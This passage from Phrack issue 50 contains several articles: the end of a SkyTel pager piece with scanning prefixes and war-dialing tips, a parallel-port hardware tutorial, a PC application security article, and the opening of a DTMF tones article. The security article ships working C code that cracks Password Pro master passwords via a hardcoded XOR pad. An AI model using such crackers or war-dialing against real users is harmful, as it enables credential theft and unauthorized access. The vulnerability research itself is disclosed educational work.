  9487. 16. Prefixes for SkyTel Pagers and Voicemail
  9488.  
  9489.       800-203-xxxx
  9490.       800-213-xxxx
  9491.       800-436-45xx
  9492.       800-436-78xx
  9493.       800-757-xxxx
  9494.       800-759-xxxx (original region 759=SKY)
  9495.  
  9496. Ways of scanning:
  9497.  
  9498.    - Scan by Hand. I would try using Substance's Random Scan program to
  9499.      generate numbers in the prefixes mentioned above.
  9500.  
  9501.    - Toneloc is available at ftp.fc.net /pub/defcon/TONELOC
  9502.  
  9503.  
  9504. 17. Conclusion
  9505.  
  9506.      That should give you tons of infoz about Skytel and how to acquire an
  9507.      account on the Skytel system.
  9508.  
  9509. EOF
  9510.                                 .oO Phrack 50 Oo.
  9511.  
  9512.                             Volume Seven, Issue Fifty
  9513.  
  9514.                                     11 of 16
  9515.  
  9516.  
  9517.              H A R D W A R E   I N T E R F A C I N G   F O R   T H E
  9518.                    L I N U X   O P E R A T I N G   S Y S T E M
  9519.  
  9520.                      By The Professor <professr@hackerz.org>
  9521.  
  9522.   Computer control of real world devices has been an out of reach fantasy for
  9523. most people.  In the past, it has rarely been seen outside the R&D labs of
  9524. hardware design companies, universities, and a few dedicated hobbyist's
  9525. basements.  It takes not only a skilled programmer, but also a person that can
  9526. design and build small circuits.
  9527.  
  9528.   In this article, I will show you how to use a standard IBM/PC parallel
  9529. printer port to control devices, such as bells, relays, and lights.  I will
  9530. also show you how to take input from devices such as DTMF decoder IC's, analog
  9531. to digital converters, and switches.
  9532.  
  9533.   To access the I/O port, the compiled program must be either executed by root
  9534. or be suid root.  This could be a potential system security hazard so be
  9535. warned.  In order to grant permissions to the port, one must use the function
  9536. ioperm().
  9537.  
  9538. Syntax (also see the man page):
  9539.  
  9540. #include <unistd.h>
  9541. ioperm(BASE_ADDRESS,NUM,PERMISSION_BIT);
  9542.  
  9543. The first parameter is the port number to set permissions of.
  9544. The second parameter is the number of consecutive ports to set permissions of.
  9545.  (i.e. if num==3, BASE_ADDRESS, BASE_ADDRESS+1, and BASE_ADDRESS+2 are set).
  9546. The third parameter is 1 to give the program permissions or 0 to remove them.
  9547.  
  9548. Sending and receiving data via the port is done with the commands, inb() and
  9549. outb().
  9550.  
  9551. Syntax:
  9552.  
  9553. #include <asm/io.h>
  9554. value=inb(address); (address can be BASE_ADDRESS+1 or BASE_ADDRESS+2)
  9555. outb(value,BASE_ADDRESS);
  9556.  
  9557.  
  9558.                                  O U T P U T
  9559.  
  9560. Making individual output data lines of a parallel printer port "turn on" is as
  9561. simple as selecting them with a corresponding binary value.  Pin 2 (D0) is the
  9562. least significant bit and pin 9 (D7) is the most significant bit.  If you
  9563. wanted bits 0, 2, 3, 4, and 6 to "turn on" or go high (+5v) while leaving 1,
  9564. 5, and 7 low (ground) you would first convert the binary value to decimal and
  9565. then send that value to the port.  (actually, there is no reason why you can't
  9566. just send the binary value to the port)
  9567.  
  9568. D7 D6 D5 D4 D3 D2 D1 D0
  9569.  0  1  0  1  1  1  0  1   ==  1011101  ==  93
  9570.  
  9571. outb(93,BASE_ADDRESS);
  9572.  
  9573. If you want all lines low or "off", you send a 0.
  9574. If you want them all high or "on", you send 255.
  9575.  
  9576.   Controlling the status of the individual bits of the I/O port is a simple
  9577. way of controlling solid state relays, optocouplers, LED's and so on.  You
  9578. could very easily and very safely control a high wattage lighting system in
  9579. this manner. (assuming you are using solid state relays with back EMF
  9580. protection). This could/would be good for closet cultivators experimenting
  9581. with the horticulture of cannabis sativa or any other plant.  Have you ever
  9582. wanted things such as lights and irrigation systems to come on or turn off at
  9583. certain times? That's what your crontab file is for!  The possibilities are
  9584. endless.
  9585.  
  9586.  
  9587.                                   I N P U T
  9588.  
  9589.   Standard IBM/PC parallel printer ports have nine control lines capable of
  9590. inputting real world data.  Each printer port has three address locations.  The
  9591. base address is used to transmit data.  The next address can input five data
  9592. bits, using pins 11, 10, 12, 13, and 15 (referred to as BASE_ADDRESS+1 I7
  9593. through I3), and the third port address can input or output a nibble of
  9594. information using pins 17, 16, 14, and 1 (referred to as BASE_ADDRESS+2 I3
  9595. through I0).  The third port address pins must be set HIGH so we can read from
  9596. BASE_ADDRESS+2.  I'll show you how in the example.
  9597.  
  9598.   The inputs are all active LOW, meaning your device must short them to ground
  9599. to create a signal (switch, analog to digital converter, DTMF decoder, etc).
  9600. This is not a problem, as most devices already do this.  The ones that don't,
  9601. just use an inverter.
  9602.  
  9603.   The simplest method of inputting eight data bits is to read the high nibble
  9604. from the (BASE_ADDRESS+1) and the low nibble from the (BASE_ADDRESS+2). These
  9605. two nibbles can be logically ORed together to form a data byte.  Some of the
  9606. data bits are hard-wired on the printer card for active HIGH operation.  To
  9607. get around this, I use four sections of a 7404 hex inverter to re-invert the
  9608. inverted data lines.
  9609.  
  9610. I7 I6 I5 I4 I3 I2 I1 I0      BASE_ADDRESS+1 INPUT LINES
  9611. 11 10 12 13 15 -- -- --      PIN NUMBER (-- = NOT USED)
  9612.  
  9613. I7 I6 I5 I4 I3 I2 I1 I0      BASE_ADDRESS+2 INPUT LINES
  9614. -- -- -- -- 17 16 14  1      PIN NUMBER (-- = NOT USED)
  9615.  
  9616.   Notice both I3's of both ports are used.   Pin 15 (ERROR) is the 9th input
  9617. of a standard IBM/PC parallel printer port.   No offense to this pin, but it's
  9618. a pain in the ass to use and I only use it when I *have* to.  Through
  9619. software, I disregard it.
  9620.  
  9621. Check out this example:
  9622.  
  9623. /* next line sets all open collector output pins HIGH
  9624.    so we can read from BASE_ADDRESS+2)  */
  9625. outb(inb(BASE_ADDRESS+2) || 15 , BASE_ADDRESS+2);
  9626. High_Nibble = inb(BASE_ADDRESS+1);
  9627. Low_Nibble = inb(BASE_ADDRESS+2);
  9628. High_Nibble = High_Nibble & 0xF0;   /*   0xF0 = 11110000   */
  9629. Low_Nibble = Low_Nibble & 0x0F;     /*   0x0F = 00001111   */
  9630. Data_Byte = High_Nibble | Low_Nibble;
  9631.  
  9632.   Pretty simple, eh?  This means you can use I7 through I4 in BASE_ADDRESS+1
  9633. and I3 through I0 in BASE_ADDRESS+2 to give you 8 bits of data input.
  9634.  
  9635.   All of the data lines must use a pull up resistor.  This includes the
  9636. hard-wired active HIGH pins *after* the 7404 inverter.  This lets any device
  9637. produce both a high and low logic signal.   Pull up resistors simply pull all
  9638. the data lines high so software sees all 0's unless you short a pin to ground.
  9639. (Remember these are all active LOW inputs -ground means 1)
  9640.  
  9641.   Pins 14, 17, 1, and 11 are all hard-wired for active HIGH operation.  These
  9642. are the pins that are signaled through the 7404 inverter IC (which makes them
  9643. just like the rest of the pins for ease of use).
  9644.  
  9645. NOTES:
  9646.  
  9647. *** When compiling programs using these routines, use the -O2 optimize flag,
  9648. or else you'll have some headaches.
  9649.  
  9650. Port 888 is the 1st parallel printer port (LPT1)
  9651.  
  9652.   I am not responsible for your mistakes.  If you plug 120vAC directly into
  9653. your parallel port, I guarantee you'll destroy your computer.  Use optically
  9654. isolated solid state relays to switch high current.
  9655.  
  9656.   For any more info regarding I/O port programming, schematics to some fun
  9657. projects, or to send a complaint, e-mail professr@hackerz.org
  9658.  
  9659.   If you don't like my code, keep in mind that I design hardware for a living.
  9660. I am not a programmer, nor have I ever claimed to be one.   My programs are
  9661. elegant on occasion, but mostly just get the job done without actually doing
  9662. it the best way.
  9663.  
  9664. If you want schematics showing how to hook up the 7404 to the port, mail me.
  9665.  
  9666.   I have some interesting things there regarding circuit design.  One of my
  9667. favorites is a software package called "PADS"  Personal Automated Design
  9668. Software.   It is a CAD package for schematics and PCBoard Design.   The copy
  9669. on my web page is a public domain demo.  This demo is fully functional in
  9670. every way.  It only limits you to something like 20 IC's, 300 tie points, etc.
  9671. I usually do not go over these limits.
  9672.  
  9673. Maybe this article will replace the IO-Port [mini] How-To 'cause that is only
  9674. about 24 lines of text.
  9675.  
  9676.                                E X A M P L E S
  9677.                                     A N D
  9678.                                 D I A G R A M
  9679.  
  9680.             /*  simple program to send data via parallel port  */
  9681.  
  9682. #include <unistd.h>
  9683. #include <asm/io.h>
  9684. #define BASE_ADDRESS 888    /* 1st Parallel Port */ 
  9685.  
  9686. main() {
  9687. int port_data=0;
  9688. int Data_Byte=255;
  9689. ioperm(BASE_ADDRESS,3,1);    /* set permission on port */
  9690.     outb(Data_Byte,BASE_ADDRESS); 
  9691.     printf("Sent 255 to port %d to turn all pins HIGH\n",BASE_ADDRESS);
  9692. ioperm(BASE_ADDRESS,3,0);    /* take away port permission */
  9693. return(0);
  9694. }
  9695.          /*  end of simple program to send data via parallel port  */
  9696. /****************************************************************************/
  9697.        /*  simple program to take in 8 bit input via parallel port  */
  9698.  
  9699. #include <unistd.h>
  9700. #include <asm/io.h>
  9701. #define BASE_ADDRESS 888    /* 1st Parallel Port */ 
  9702.  
  9703. main() {
  9704. int port_data=0;
  9705. int High_Nibble, Low_Nibble, Data_Byte;
  9706. ioperm(BASE_ADDRESS,3,1);    /* set permission on port */
  9707.     outb(inb(BASE_ADDRESS+2) || 15 , BASE_ADDRESS+2); 
  9708.     High_Nibble = inb(BASE_ADDRESS+1);
  9709.     Low_Nibble = inb(BASE_ADDRESS+2);
  9710.     High_Nibble = High_Nibble & 0xF0;   /*   0xF0 = 11110000   */
  9711.     Low_Nibble = Low_Nibble & 0x0F;     /*   0x0F = 00001111   */
  9712.     Data_Byte = High_Nibble | Low_Nibble;
  9713.     printf("LN=%d HN=%d DB=%d\n",Low_Nibble,High_Nibble,Data_Byte);
  9714. ioperm(BASE_ADDRESS,3,0);    /* take away port permission */
  9715. return(0);
  9716. }
  9717.     /*  end of simple program to take in 8 bit input via parallel port  */
  9718. /****************************************************************************/
  9719.                     I                          I  I  I  I
  9720.                     0                          6  7  5  4
  9721.  
  9722.                                                      P
  9723.                                                      A
  9724.                     _                                P
  9725.                     S                                E  S
  9726.                     T                                R  E
  9727.                     R                          _  B  |  L
  9728.                     O                          A  U  E  E
  9729.                     B  D  D  D  D  D  D  D  D  C  S  N  C
  9730.                     E  0  1  2  3  4  5  6  7  K  Y  D  T
  9731.                     _____________________________________
  9732.                 1  (o  o  o  o  o  o  o  o  o  o  o  o  o)  13
  9733.                 14  \ o  o  o  o  o  o  o  o  o  o  o  o/  25
  9734.                      `---------------------------------'
  9735.                       _        _  |      PINS 18       |
  9736.                       A  E  I  S  |<----THROUGH 25---->|
  9737.                       U  R  N  E  |       GROUND       |
  9738.                       T  R  I  L
  9739.                       O  O  T  |
  9740.                       |  R     I
  9741.                       F        N
  9742.                       E        P
  9743.                       E        U
  9744.                       D  *     T        ** ERROR LINE IS NOT USED AS I3
  9745.                          *                  (DISREGARDED VIA SOFTWARE)
  9746.                       I  I  I  I
  9747.                       1  3  2  3
  9748.  
  9749. /******************** End of my little text file / how-to *******************/
  9750.  
  9751. EOF
  9752.                                 .oO Phrack 50 Oo.
  9753.  
  9754.                             Volume Seven, Issue Fifty
  9755.  
  9756.                                      12 of 16
  9757.  
  9758.  
  9759.                       PC Application Level Security
  9760.  
  9761.                             by
  9762.  
  9763.                        Sideshow Bob
  9764.  
  9765.  
  9766. I. Introduction 
  9767.  
  9768.    In the past, hackers interested in security have focused most of their
  9769. efforts in finding and exploiting security holes in networking related
  9770. operating systems, protocols, and applications.  I would like to suggest
  9771. another arena of hacking that might be of interest to emerging hackers. 
  9772. Although the Internet is certainly a great place to hack, you can also
  9773. find a world of hacking sitting right on the computer at your desk.  This
  9774. article is really aimed at a broad and young audience, for cryptographers
  9775. of tomorrow, not today.  
  9776.  
  9777.    The fundamental problem with the lack of security in applications today
  9778. is that people just don't care.  Companies that produce security software
  9779. do care about security, but most software available today has some
  9780. component of security in them, written by programmers who do not
  9781. understand or care about security.  When a consumer uses a piece of
  9782. software that has advertised security features, they do not have the
  9783. knowledge or power to determine if the security in that software is
  9784. effective, or waiting to be exploited.  There are literally thousands of
  9785. applications out there for PCs right now, and many of them have security
  9786. problems just waiting to be discovered. 
  9787.  
  9788.   In this article, I hope to provide interested new hackers the motivation 
  9789. and knowledge to go out and explore PC applications they have access to in
  9790. order to determine if they have security problems.  Giving out exploits is
  9791. definitely NOT the goal of this article, I decided to provide one example
  9792. to show the process at work, but I leave it up to the readers to go out and
  9793. hack for themselves.
  9794.  
  9795.   If you find security holes of your own in PC applications, I strongly
  9796. encourage you to inform the companies involved, and post your findings in
  9797. an appropriate public forum.  If you learn from this article, helping the
  9798. security community by letting other people know about security problems in
  9799. PC software is the greatest compliment you could give me. 
  9800.   
  9801.  
  9802. II. Finding an Candidate
  9803.  
  9804.   Just exactly what I am talking about when I say PC application security? 
  9805. First off, I am talking about mass consumer operating systems.  Unix and
  9806. NT are being examined by many security people today in great depth for
  9807. security holes, and there is definitely a good reason for that, but this
  9808. article is focused on the computers sitting at most people's desks. 
  9809. Windows and Mac-OS are both widely used legitimate operating systems. 
  9810.  
  9811.   Some security people might tell you if you care about security, don't
  9812. run Windows '95.  That is an easy answer, it is far easier to build secure
  9813. applications on top of more secure operating systems.  But that does not
  9814. address the realistic security threats that exist on these operating
  9815. systems.  The fact is, nobody is going to ruin your life, steal your
  9816. money, or cause millions in harm solely because of a vulnerability in one
  9817. of these programs.  But as a consumer, you should expect and DEMAND that
  9818. when someone tells you their program is secure that they aren't flat out
  9819. lying to your face.  When someone tells you your personal information you
  9820. enter into a program is protected by a password, you should DEMAND that
  9821. without that password, your data is protected from your family, your
  9822. friends, and even a friendly visit from your local law enforcement agency. 
  9823.  
  9824.   What programs should you look for with security holes?  Quite simply,
  9825. anything that claims to have any security in it.  The most obvious tip-off
  9826. is anything with passwords.  In addition, anything that has users,
  9827. restricts access, or claims to protect your data.  Encryption and
  9828. authentication are big buzzwords that someone is messing with security. 
  9829. Look on your hard drive, look in computer stores, look on the Internet for
  9830. shareware and freeware (if its free, its ok if it lies about what it does?
  9831. I don't think so.).  Not every program has any element of security in it,
  9832. but lots do.  Not every program you find will have security holes, but if
  9833. you spend enough time and look at enough programs, you are going to find a
  9834. lot that do.  I would especially encourage you to not limit yourself to
  9835. high-profile, popular applications.  Certainly those are viable
  9836. candidates, but there are a lot more choices than that.  If you have found
  9837. an application, now you are ready to hack! 
  9838.  
  9839.  
  9840. III. Finding Vulnerabilities
  9841.  
  9842. A. Application Purpose
  9843.  
  9844.   You have found a candidate application, and now you want to find out if
  9845. it is insecure.  The first thing you want to do is to learn how the
  9846. program works.  The worst of the worst applications will allow you to
  9847. subvert security directly from within the application.  An example of this
  9848. was the first version of Microsoft "Bob".  After incorrectly entering your
  9849. password too many times, Bob would wisely figure out that you forgot your
  9850. password and ask you if you wanted to change it. 
  9851.  
  9852.   Determine what the goal of the security in the application is. 
  9853. Generally this will be to protect sensitive information in the program. 
  9854. For the candidate application, determine what information is being
  9855. protected.  It might only be a small sub-set of the data, or perhaps all
  9856. of it.  Often the product won't tell you what it is trying to protect, so
  9857. you will need to do some digging inside the program to discover it.  Some
  9858. programs might let anyone read data, but only authorized users modify it. 
  9859. Other programs might let anyone enter in new data, but only authorized
  9860. users read what has been entered.  Another program might let anyone read
  9861. and enter in new data, but only let authorized users delete individual
  9862. entries (in an insecure OS, anyone could delete the entire database, but
  9863. that does not imply one could selectively remove information from a
  9864. database). 
  9865.  
  9866. B. User Interaction
  9867.  
  9868.   Next, figure out all the different elements of the program that allow
  9869. the user to interact with the security module of the program.  Where does
  9870. it ask for usernames?  Where does it ask for passwords? Can I change a
  9871. password?  Can I remove a password?  Can I password protect different
  9872. parts of a file?  Do I have any options as to what kind of security is
  9873. employed?  Can I disable security altogether?  Do I protect a file, a
  9874. database, a user?  This is the typical user level interaction with the
  9875. program.  I would not even attempt to start digging at a lower level of
  9876. the program until you are an expert on how the program functions at the
  9877. user interface level. 
  9878.  
  9879. C. Digging Deeper
  9880.  
  9881.   Now that you have comprehensively examined and understand the program at
  9882. the normal user level, you are ready to start hacking, and that means
  9883. figure out how the program works.  Now, if you are extremely fortunate,
  9884. you may have source code to the program and will be able to simply read
  9885. that source and fully understand how it works.  Another method for
  9886. figuring out how the program works is to disassemble the program and read
  9887. through the assembly code of the program as it executes.  This is a
  9888. reasonable method and sometimes the best, but it requires a thorough
  9889. understanding of assembly language and in order to make this article
  9890. accessible to anyone interested, I am going to ignore that possibility. 
  9891. If you are interested in doing so, I suggest picking up a good book on
  9892. assembly and a high quality debugging tool. 
  9893.  
  9894.   If you have the most typical application of security in your
  9895. application, the security is meant to protect some sensitive information. 
  9896. Somewhere on your hard drive, in some form, is that sensitive information:
  9897. Find It!  Usually this isn't hard, you install the application somewhere
  9898. and if it is well behaved it doesn't put the data in some random location
  9899. on your hard drive (but be forewarned, some do exactly to confuse you at
  9900. this step).  Start out with a fresh installation of the software on your
  9901. drive, and then enter some data into the application, and see what
  9902. changed.  Now you should know what file(s) data gets written out to. 
  9903.  
  9904. D. File Modifications
  9905.  
  9906.   Look at the directory listings, sometimes the filename itself is a clue.
  9907. Save directory listings out to a file, and then make some modification in
  9908. the program (and save), and make another directory listing.  For each
  9909. listing, write down what you did between that and the last listing.  Now
  9910. you have a bunch of directory listings, which may or may not help you. 
  9911. You need to try and interpret this data to tell if there is anything you
  9912. can learn about how the program works.  In the worst case (for you),
  9913. absolutely nothing will change.  Usually at least timestamps on the files
  9914. will change, telling you what files were written to. 
  9915.  
  9916.   Does every user or database you enter get written to a new file which is
  9917. the name of the user, or does it all get written to one file?  Does each
  9918. new entry create a new file?  Does one file get bigger by a fixed amount
  9919. of size for each entry you add?  Is each file created the same size?  Do
  9920. you recognize the extension of the file? 
  9921.  
  9922. E. File Contents
  9923.  
  9924.   If you have made any progress at all by this point, you should be able
  9925. to narrow down what file or files you need to examine in more depth.  The
  9926. best thing to do is to just look at the files.  There are two things you
  9927. need at this point:  a good hex viewer and a good diff utility.  The hex
  9928. viewer should let you know look at both the ASCII text and binary contents
  9929. of the file; for DOS something like the shareware List utility is good.  A
  9930. diff utility will take 2 or more files as input and tell you what has
  9931. changed between them.  This will automate telling you what has changed in
  9932. the files when you make a change in the data.
  9933.  
  9934.   Quite simply, use these two utilities.  Take a look inside the files
  9935. that you KNOW have to contain the sensitive data.  Now if a program is
  9936. meant to protect you from reading the data and your hex viewer is sitting
  9937. there and you see it all in front of your face, you have found a problem. 
  9938. If you change an 'a' to a 'b' in the application and one byte of data is
  9939. incremented one byte in the file, you are getting closer.  In many cases,
  9940. you will need to enter in a lot of data into the application and compare
  9941. numerous resulting files in order to figure out exactly what and where
  9942. things change. 
  9943.  
  9944.   If data is being protected, the worst case (for you) is that it is
  9945. actually being encrypted with a known secure algorithm.  Does that mean it
  9946. is secure?  No, through thorough cryptanalysis, serious computing power,
  9947. or implementation flaws, one might still be able to read the data.  But
  9948. this sort of analysis is left to professionals in that field, and not the
  9949. target of this article.  For you, you may have to find alternative methods
  9950. to gain access which are probably far easier to begin with.  This might
  9951. mean keystroke logging, social engineering, or simply trying to brute
  9952. force attack the situation. 
  9953.  
  9954.   A more common situation is that some, but not all of the data is being
  9955. encrypted.  You will very likely be able to extract sensitive information
  9956. that the users of the program thinks is sensitive and should be secure,
  9957. but the application programmer's decided was not part of the sensitive
  9958. date.  Not clearly communicating what is being protected and what isn't
  9959. should be an indication that everything is being protected, but that is
  9960. very often not the case at all. 
  9961.  
  9962.   Another common situation is that the data is being poorly encrypted. 
  9963. This is usually the case if you can't read the data in text in the files,
  9964. but you are able to pick up clear patterns of what is being changed.  Good
  9965. encryption should make data that looks 'random', if what you are looking
  9966. at looks decidedly not random, there is a problem. 
  9967.  
  9968.  
  9969. IV. Exploiting Vulnerabilities
  9970.  
  9971.   I will finish up this article with an example of how to work through this
  9972. process from finding a program to exploiting the vulnerability.  Ziff-Davis 
  9973. Interactive has been advertising and offering a free Windows utility known 
  9974. as "Password Pro" for the sole purpose of letting Windows users maintain 
  9975. passwords in a central database securely.  On the Internet today, people 
  9976. (not to mention hackers) have accounts on numerous machines and managing the 
  9977. passwords for all of these systems is not a trivial task.  With the increasing
  9978. popularity of requiring registration to gain access to all the features of a 
  9979. web site, users are accumulating more and more accounts than ever before.  
  9980.  
  9981.    In the past, users have taken on several solutions to this problem.  Some
  9982. people use the same account name and password everywhere they go.  Obviously
  9983. this presents a major security problem, as there is no way to guarantee the
  9984. security of any one of the accounts that they use, much less all of them.  If
  9985. their password is compromised, it is an even more daunting task to change the
  9986. password on every site that is being used.  Still, this requires a user
  9987. maintain a list of systems they have accounts on, and with more people using
  9988. the net everyday, it is inevitable that some people will attempt to use the
  9989. same account name.
  9990.  
  9991.    Another possible solution people have used is to maintain a cleartext file
  9992. on their system, or a physical notebook that has a list of usernames and
  9993. passwords.  Using paper and pen certainly will eliminate hackers over the
  9994. Internet from gaining access, but if you have ever seen War Games you know
  9995. that crackers are not above physically snooping around your home or office
  9996. in order to find out passwords.  Leaving a plaintext file on your system is
  9997. an even worse solution.  If you are running an insecure operating system
  9998. such as DOS or Windows '95, anyone that can sit down at your computer will
  9999. be able to read it.  Even with Windows NT or a Unix operating system, you do
  10000. not want anyone that can gain administrator/root access to the machine to
  10001. immediately gain access to every machine on the Internet that you have an
  10002. account on.  
  10003.  
  10004.    While there is no perfect solution preventing someone with root access to 
  10005. the box you are using from snooping your keystrokes or sniffing your sessions,
  10006. it is certainly more work to do so than to simply read a cleartext file.  So,
  10007. it is clear that for many users on the Internet today, there is a definite 
  10008. use for the type of utility that ZD Net is providing.  Further, as will be
  10009. explained in this article, there are definitely fairly secure methods of 
  10010. writing and using such a database.  It is unfortunate that Ziff-Davis has 
  10011. implemented this tool in such a manner as to actually make it easier for
  10012. people to obtain users' account names and passwords.  The author of this
  10013. utility was informed through appropriate channels of this vulnerability
  10014. in his software and as of the release of this article, an upgraded version
  10015. with a well known encryption algorithm should be available.  
  10016.  
  10017.    All of my work with regards to Password Pro was done by modifying accounts
  10018. and entries through the normal operation of the program, and then viewing the
  10019. changes that were made to the corresponding .lst files.  At no point did I
  10020. attempt to disassemble the Password Pro code, although that would have 
  10021. resulted in the same ultimate findings.
  10022.  
  10023.    For each user on a machine that wishes to use Password Pro, a file is
  10024. created in the Password Pro directory with a filename of <username>.lst.  When
  10025. you first start-up Password Pro, it prompts you for a username and password.
  10026. When you enter a filename, it looks for a file with the .lst extension matching
  10027. that username.  If it finds the file, it then reads the password that you are
  10028. prompted for, and attempts to validate the password with the one stored in the
  10029. file.  If the file does not exist, the user is asked if he wants to create a
  10030. new account; if so he can then enter and confirm a password and a file is
  10031. created.  
  10032.  
  10033.    The file format of the user .lst files is proprietary.  When the file is
  10034. first created, it is 32 bytes in length.  Users can then add entries to the
  10035. file which contain a system name, account name, password, and password 
  10036. expiration.  Adding a single entry to a new .lst file increases the file size
  10037. to 166 bytes.
  10038.  
  10039.    Viewing the file showed that the Password Pro password did not show up
  10040. in plaintext anywhere in the file, nor did any of the passwords for the
  10041. systems that users had entered.  System names and account names were however
  10042. in plaintext; my first disappointment in examining the security of the program.
  10043.  
  10044.    My first thoughts with regards to the file format was simply that the
  10045. password was stored in the first 32 bytes of the file, and the entries were
  10046. stored in fixed length structures beyond that.  If each entry's password was
  10047. actually encrypted with the password that was entered by the user, there would
  10048. be no way to directly view the contents of the file.  At this point in time,
  10049. I had no idea if this was the case or not, but if it proved to be true, there
  10050. would still be other options available in attempting to read the entries, such
  10051. as a dictionary attack.
  10052.  
  10053.    To test my first theory, I created a user, blue, that I would attempt to
  10054. break the security on.  I used the password "password", obviously a poor
  10055. choice for a real application but since I was not going to mount a dictionary
  10056. attack at this point, it was irrelevant.  I added an entry for this user for
  10057. a fictitious system, account name, and password.  I then created a user,
  10058. hacker, with no password on his account, and on database entries.  On my
  10059. filesystem I then had a 166 byte blue.lst file and a 32 byte hacker.lst file.
  10060. In order to merge the two files into one, I used the commands:
  10061.  
  10062.      C:\PASSWORD> tail --bytes=134 blue.lst > blue.end
  10063.      C:\PASSWORD> copy /b hacker.lst+blue.end > hacked.lst
  10064.  
  10065.    I then loaded up Password Pro and attempted the username 'hacked'.  It
  10066. prompted for a password and when I attempted none, it prompted me again.  It
  10067. was clear that cracking this program was not going to be quite that trivial.
  10068.  
  10069.    It was clear that all of the information necessary to attack the password
  10070. was being stored somewhere in those first 32 bytes.  The easiest way to
  10071. scramble the password would be a bit-shift (rot-13) or to XOR the password
  10072. with a single character. If this was true, the password 'password' should
  10073. show the two consecutive 's' characters as being the same value.  I looked
  10074. through the hex dump of the file to see if this appeared to be true, and
  10075. it wasn't.
  10076.  
  10077.    The next complication in encryption is to XOR the files with a 'pad'.  This
  10078. would mean that each letter in the password would be XOR-ed with a different
  10079. byte, up to the length of the pad, and then it would start over XORing with
  10080. the first letter of the pad, and so on.  If this were the case, changing one
  10081. letter in my password would only change one byte in the file.  I created a
  10082. password of 'pastword' and diffed the files; only 1 byte changed.  This looked
  10083. promising, so it was time to extract the 'pad' from the file.  For an eight
  10084. letter password, I need to find out what the 8 bytes being used to XOR the
  10085. file are.  The way to do this is to simply take a file the program creates
  10086. with a known password, and XOR the file with the password, resulting in the 
  10087. pad.  This reverses what the program originally did, which was XOR the 
  10088. password with the pad to create the file.
  10089.  
  10090. <++> pwp-pad.c
  10091. /* pwp-pad.c - ZD Password Pro for Windows Pad Reader (1/14/97)
  10092.  *
  10093.  * Syntax: pwp-pad filename.lst password
  10094.  *
  10095.  * Given a database file created by Password Pro and the password entered to
  10096.  * protect the file, outputs the pad being used by Password Pro to encrypt
  10097.  * files.
  10098.  *
  10099.  */
  10100.  
  10101. #include <stdio.h>
  10102.  
  10103. main(int argc, char **argv) {
  10104.   FILE *fpass;
  10105.   char pbuf[32], inbuf[32];
  10106.   char *password, *pptr;
  10107.   int i;
  10108.  
  10109.   /* check command line arguments */
  10110.   if(argc < 3) {
  10111.     fprintf(stderr, "Syntax: %s filename.lst password\n", argv[0]);
  10112.     exit(1);
  10113.   }
  10114.  
  10115.   password = argv[2];
  10116.  
  10117.   /* open the file */
  10118.   fpass = fopen(argv[1],"r");
  10119.   if(!fpass) {
  10120.     fprintf(stderr, "Unable to open file %s\n", argv[1]);
  10121.     exit(1);
  10122.   }
  10123.  
  10124.   /* read from file */
  10125.   if(fread(pbuf, 1, 32, fpass) != 32) {
  10126.     fprintf(stderr, "Unable to read password entry from file.\n");
  10127.     exit(1);
  10128.   }
  10129.  
  10130.   /* output pad by xor file contents with password from command line */
  10131.   printf("Pad: ");
  10132.   for(i=0; i<32 && pbuf[i]; i++) {
  10133.     pbuf[i] ^= password[i];
  10134.     printf("%x ", 0xff & pbuf[i]);
  10135.   }
  10136.   printf("\n");
  10137. }
  10138. <-->
  10139.  
  10140.    Now that we have the pad, the next step is to use that pad to actually
  10141. crack the contents of someone else's file.  The way we do that is by taking
  10142. someone's lst file that we don't know the password for, and XORing the start
  10143. of the file with the pad.  This will result in the password that they stored
  10144. the file with, which we can then enter into the program to view the contents.
  10145.  
  10146. <++>
  10147. /* pwp-crack.c - ZD Password Pro for Windows Cracker (1/14/97)
  10148.  *
  10149.  * Syntax: pwp-crack filename.lst
  10150.  *
  10151.  * Outputs the password entered by the user of Password Pro to protect others
  10152.  * from reading the contents of their account and password database.
  10153.  *
  10154.  */
  10155.  
  10156. #include <stdio.h>
  10157.  
  10158. main(int argc, char **argv) {
  10159.   FILE *fin;
  10160.   char inbuf[32];
  10161.   char pad[] = { 0x38, 0x17, 0x2b, 0x8c, 0x59, 0xaf, 0xe6, 0x03, 0x61, 0x85 };
  10162.   int i;
  10163.  
  10164.   if(argc < 2) {
  10165.     fprintf(stderr, "Syntax: %s filename.lst\n\n", argv[0]);
  10166.     exit(1);
  10167.   }
  10168.  
  10169.   fin = fopen(argv[1],"r");
  10170.   if(!fin) {
  10171.     fprintf(stderr, "Unable to open %s for reading\n", argv[1]);
  10172.     exit(1);
  10173.   }
  10174.  
  10175.   if(fread(inbuf, 1, 32, fin) != 32) {
  10176.     fprintf(stderr, "Unable to read password from file.\n");
  10177.     exit(1);
  10178.   }
  10179.   
  10180.   printf("Password: ");
  10181.   for(i=0; i<32 && inbuf[i]; i++) {
  10182.     inbuf[i] ^= pad[i % sizeof(pad)];
  10183.     printf("%c", inbuf[i]);
  10184.   }
  10185.   printf("\n");
  10186. }
  10187.  
  10188. <-->
  10189.  
  10190.  
  10191. V.  Conclusion
  10192.  
  10193.    If you are interested in any of this, I strongly encourage you to go out
  10194. and find holes and write exploits on your own.  I'm sure Phrack would love 
  10195. to hear about any findings you make, so let us know how you are doing.
  10196.  
  10197.    If you are a software developer and are interested in avoiding become a 
  10198. victim of one of Phrack's budding hackers, or just want to learn more about
  10199. practical crytography, I suggest you pick up a copy of Bruce Schneier's 
  10200. Applied Cryptography available at any big bookstore.  
  10201.    
  10202. EOF
  10203.                                 .oO Phrack 50 Oo.
  10204.  
  10205.                             Volume Seven, Issue Fifty
  10206.  
  10207.                                      13 of 16
  10208.  
  10209.                          ===============================
  10210.                          DTMF Encoding and Decoding In C
  10211.                                     by Mr. Blue
  10212.                          ===============================
  10213.  
  10214.   
  10215. Introduction
  10216. ------------
  10217.     DTMF tones are the sounds emitted when you dial a number on your touch 
  10218. tone phone.  Modems have traditionally been the device used to generate
  10219. these tones from a computer.  But the more sophisticated modems on the
  10220. market today are nothing more than a DSP (digital signal processor) with
  10221. accompanying built-in software to generate and interpet analog sounds into
  10222. digital data.  The computers sitting on your desk have more cpu power,
  10223. a more complex OS, and very often a just as sophisticated DSP.  There is
  10224. no reason you can not duplicate the functionality of a modem from right
  10225. inside of unix software, providing you with a lot easier to understand and
  10226. modify code.  
  10227.  
  10228.     In this article I provide the source code to both encode and decode
  10229. DTMF tones.  There are numerous uses for this code, for use in unix based 
  10230. phone scanning and war dialing programs, voice mail software, automated
  10231. pbx brute force hacking, and countless other legitimate and not so
  10232. legitimate uses.
  10233.  
